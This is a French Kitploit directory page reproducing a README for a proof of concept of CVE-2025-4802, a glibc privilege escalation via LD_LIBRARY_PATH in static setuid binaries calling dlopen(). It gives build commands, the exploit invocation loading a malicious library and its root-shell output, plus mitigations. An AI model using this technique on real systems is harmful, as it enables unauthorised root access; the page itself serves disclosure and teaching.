Skip to content
KitploitKITPLOIT
OutilsExploitsBlog
Log in
Soumettre
OutilsExploitsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2025-4802-Proof-of-Concept — Preuve de concept pour un binaire setuid compilé statiquement et vulnérable à dlopen avec LD_LIBRARY_PATH | Kitploit
Outils/GitHubGitHub/betizzel/cve-2025-4802-proof-of-concept
Escalade de PrivilègesAnalyse des VulnérabilitésExploitationApprentissage et ÉducationExploitation de Binaires
GitHubbetizzel/cve-2025-4802-proof-of-concept

CVE-2025-4802-Proof-of-Concept

Preuve de concept pour un binaire setuid compilé statiquement et vulnérable à dlopen avec LD_LIBRARY_PATH

Voir le dépôt

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager
21il y a 7 moisPas encore vérifié

CVE-2025-4802 — Preuve de Concept

⚠️ Avertissement : Ce dépôt est destiné uniquement à des fins éducatives et de recherche en sécurité autorisée. N'utilisez pas cet exploit contre des systèmes que vous ne possédez pas ou pour lesquels vous ne disposez pas d'une autorisation explicite de test. Une utilisation abusive peut enfreindre les lois et réglementations.

Résumé de la CVE

ChampDétails
ID CVECVE-2025-4802
Logiciel affectéGNU C Library (glibc)
Versions affectées2.27 – 2.38
Type de vulnérabilitéÉlévation de privilèges via LD_LIBRARY_PATH non fiable
Vecteur d'attaqueLocal

Description

Une vulnérabilité dans les versions 2.27 à 2.38 de la GNU C Library (glibc) permet à un attaquant d'exploiter la variable d'environnement LD_LIBRARY_PATH dans des binaires setuid compilés statiquement qui appellent dlopen().

Normalement, l'éditeur de liens dynamique assainit LD_LIBRARY_PATH pour les programmes setuid. Cependant, les binaires compilés statiquement contournent entièrement l'éditeur de liens dynamique, de sorte que LD_LIBRARY_PATH n'est jamais nettoyé. Lorsqu'un tel binaire appelle dlopen() (directement, ou indirectement via setlocale() ou des fonctions NSS comme getaddrinfo()), glibc résout les bibliothèques partagées en utilisant le LD_LIBRARY_PATH contrôlé par l'attaquant, permettant l'exécution de code arbitraire avec des privilèges élevés.

Fonctionnement

  1. Un binaire setuid-root compilé statiquement appelle dlopen("myso.so", ...) pour charger un objet partagé par nom (et non par chemin absolu).
  2. Comme le binaire est lié statiquement, l'éditeur de liens dynamique (ld-linux.so) ne s'exécute jamais, donc LD_LIBRARY_PATH n'est pas assaini.
  3. Un attaquant crée un objet partagé malveillant (myso.so) qui exporte le même symbole hello() mais lance un shell root.
  4. L'attaquant définit LD_LIBRARY_PATH pour pointer vers le répertoire contenant la bibliothèque malveillante.
  5. Lorsque le binaire setuid s'exécute, il charge la bibliothèque de l'attaquant au lieu de la légitime, exécutant du code arbitraire en tant que root.

Structure du dépôt

root@kitploit:~
.
├── main.c                          # Vulnerable setuid binary source
├── myso.c                          # Legitimate shared object (safe)
├── evil_library/
│   └── evilso.c                    # Malicious shared object (spawns root shell)
├── proof_of_concept_screenshot.png # Terminal screenshot of the exploit
├── proof_of_concept_video.mp4      # Video walkthrough
├── Makefile                        # Build automation
└── README.md

Prérequis

  • OS : Fedora 39 (ou toute distribution Linux avec une glibc vulnérable)
  • Version de glibc : 2.27 – 2.38 (vérifier avec ldd --version)
  • Paquets : gcc, make
  • Accès root pour définir le bit setuid

Étapes de reproduction

1. Tout compiler

root@kitploit:~
make all

Ou manuellement :

root@kitploit:~
# Build the legitimate shared object
gcc -shared -o myso.so -fPIC myso.c

# Build the vulnerable binary (statically linked)
gcc -static -o main main.c -ldl

# Build the malicious shared object
gcc -shared -o evil_library/myso.so -fPIC evil_library/evilso.c

2. Définir le bit setuid (nécessite root)

root@kitploit:~
sudo chown root:root main
sudo chmod u+s main

3. Exécution normale (comportement sûr)

root@kitploit:~
./main

Sortie attendue :

root@kitploit:~
 BEGINNING OF MAIN
Hello from the safe shared object!

 END OF MAIN

4. Exploitation avec LD_LIBRARY_PATH (comportement malveillant)

root@kitploit:~
LD_LIBRARY_PATH=./evil_library ./main

Sortie attendue :

root@kitploit:~
 BEGINNING OF MAIN
I'm evil now
EXEC TO ROOT SHELL
# whoami
root

Le binaire charge le myso.so de l'attaquant depuis evil_library/ au lieu du légitime, lançant un shell root.

Preuve de Concept

Proof of Concept Screenshot

Une démonstration vidéo est également disponible : proof_of_concept_video.mp4

Atténuation

  • Mettre à jour glibc vers une version corrigée (> 2.38)
  • Éviter la liaison statique pour les binaires setuid qui utilisent dlopen()
  • Utiliser des chemins absolus dans les appels à dlopen() au lieu de simples noms de bibliothèques
  • Abandonner les privilèges avant d'appeler dlopen()
  • Utiliser des options de durcissement du compilateur/éditeur de liens et éviter setuid lorsque c'est possible

Ressources

  • NVD — CVE-2025-4802
Télécharger l’outil